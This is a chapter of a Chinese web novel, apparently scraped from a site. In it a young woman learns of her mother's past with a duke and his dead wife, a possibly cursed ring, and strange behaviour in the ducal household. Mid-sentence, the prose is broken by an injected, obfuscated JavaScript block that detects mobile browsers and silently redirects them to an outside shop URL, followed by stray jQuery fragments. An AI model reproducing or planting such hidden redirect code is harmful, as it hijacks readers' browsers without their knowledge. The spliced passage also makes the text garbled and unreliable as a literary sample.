瑪蓮娜拿起戒指，手指不由自主一顫，一股親切感從指尖流向心臟。她碰到它，就像是與久違的故人重逢。
她問母親：“這到底是什麼類彆的寶石？我從來沒見過。”
“我也不太清楚。等等，我很久之前看到過它，讓我想想......公爵夫人！對，十多年前，公爵夫人哈莫妮亞佩戴過這枚戒指。”
瑪蓮娜推斷：“公爵一直戴著亡妻的戒指，難道是為了彰顯懷念之情？不，如果他真的懷念亡妻，肯定不會公然把我們接到府邸。也許，這枚戒指發揮著什麼重要的用途。”
說到此處，她歎了口氣：“我總覺得這個宅子有些詭異。先前，侍女朵莉帶我參觀會客廳的時候，也是像迪耶戈那樣突然發病。不過，她的症狀要輕上許多，隻是重複著‘公爵夫人死了’、‘血’之類的話語。”
“公爵夫人......死......”
轉瞬之間，多蘿西婭的臉色變得慘白。
看著母親的表情，不祥的預感湧上心頭。
母親與公爵夫人的死，到底有沒有關係？
瑪蓮娜望著她的眼睛，懇切地問道：“媽媽，對於她的死，你知道多少？”
多蘿西婭臉上閃過痛苦與愧疚：“她的死，大概是因為我。我從前是她的侍女。”
瑪蓮娜密切觀察著母親的神情，心中很不好受：“媽媽，其實你不用接著說下去——”
多蘿西婭卻沒有停下：“你出生之後，公爵向我示愛，我沒有拒絕。公爵夫人知道此事，再也沒有公開露過麵。她死於生下希瑟爾少爺的那一天，卻並非死於難產，而是自殺。”
“那一日，你失蹤了，我到處找你。最後，他們在公爵夫人的遺體旁邊找到了你！那時候，我還以為......她本來想用你懲罰我，卻沒忍心下手。”
“今天聽你說起朵莉，我才想到，也許朵莉與迪耶戈的怪病是某種
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964199|134975||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
預兆。總之，都是我的錯！如果我拒絕了公爵的示愛，夫人就不會恨我，乃至拿你來報複我。”母親流下悔恨的淚水。
“或許，她對你下了詛咒。對不起，是我害了你！”
驟然得知秘辛，瑪蓮娜十分震驚，險些跌坐於椅中。
原先，她以為是油畫存在著詭異之處。
沒想到，詭異的源頭，竟然是她自己！
“不，不可能是詛咒。公爵夫人當過光明修女，為什麼要背棄太陽，信奉邪惡的異端呢？而且，夫人為何不詛咒花心的丈夫，隻詛咒我？”瑪蓮娜舌頭有些打結，但還是儘力安慰母親。
多蘿西婭扶住額頭，哽咽著說道：“夫人去世後，我主動離開了公爵府，還特地為你求來太陽神殿的護符。你平安長大，我以為一切都過去了......我不明白，受到詛咒的人，為什麼不是我？”
瑪蓮娜勉強露出笑容：“媽媽，你不用擔心我。之前發病的人，根本不是我。說不定，詛咒的假設是完全錯誤的。你看，我這不是還好好的麼？”
她繼續安慰母親：“就算真的有詛咒，那又如何？首先，我會找辦法解開它，其次，我還有護符傍身。即便解不開，我這十七年能與你共度，還能來公爵府乾一番大事，真是太值了！”
多蘿西婭凝望著瑪蓮娜的雙眸，眼中泛著淚花：“總之，這枚戒指與公爵夫人息息相關，你先收著。”
-------------------------------------
剛結束與母親的談話，瑪蓮娜的思緒亂如麻繩。
無論是十六年前發生的事情，還是前些日子的風波，處處透露出怪異。
她手上毫無線索，到底應該從何處查起？
公爵夫人的戒指，又與她有何關係？
瑪蓮娜換了一套樸素的上衣褲子，來到公爵府的馬廄。
這裡的馬匹品相極好，性情也很溫順。
馬夫前來問候：“小姐，請問您有什麼需要？”
她挑選了一匹白馬，給它喂了一束胡蘿卜。
忙了一整天，又遭受了一些打擊，瑪蓮娜想上街散心，順便在未來的統治地逛一逛。
她了解阿斯特隆的城市規劃，卻沒實地考察過阿斯特隆，聽說這座城市治安很不錯。
瑪蓮娜帶上幾名護衛，騎馬出發。
陽光穿透雲層，照耀大地。她拉住韁繩，讓白馬放緩步伐，開始欣賞四周的風景。
在這悠閒的時刻，她突然察覺到一絲不對勁。
微妙的不安升上心頭，宛若一根尖針，猛然刺破了祥和的表象。
背後似乎有東西盯著她，那感覺變得越來越強烈，以至於無法忽視。
她猛地回過頭，卻什麼也沒有發現。
身後是一片遼闊的草地，甚至沒有灌木。如果真的有人跟蹤她......跟蹤者根本無處藏身。
她認真傾聽了一陣，也沒有聽到什麼異響。
“你們有沒有發現其他人跟在後麵？”她問護衛。
五名護衛同時轉頭看向她：“並未發現異常。”
說完，他們扭回脖子，平視前方，動作整齊劃一。
瑪蓮娜掏出太陽護符，看見它仍然泛著金光，心中逐漸安定了下來。
不遠處是熱鬨的居民區，居民區西側還有一座太陽神殿。
比起策馬返回詭異的公爵府，瑪蓮娜寧願前往人多的地方。
想到此處，她策馬加鞭，趕往居民區。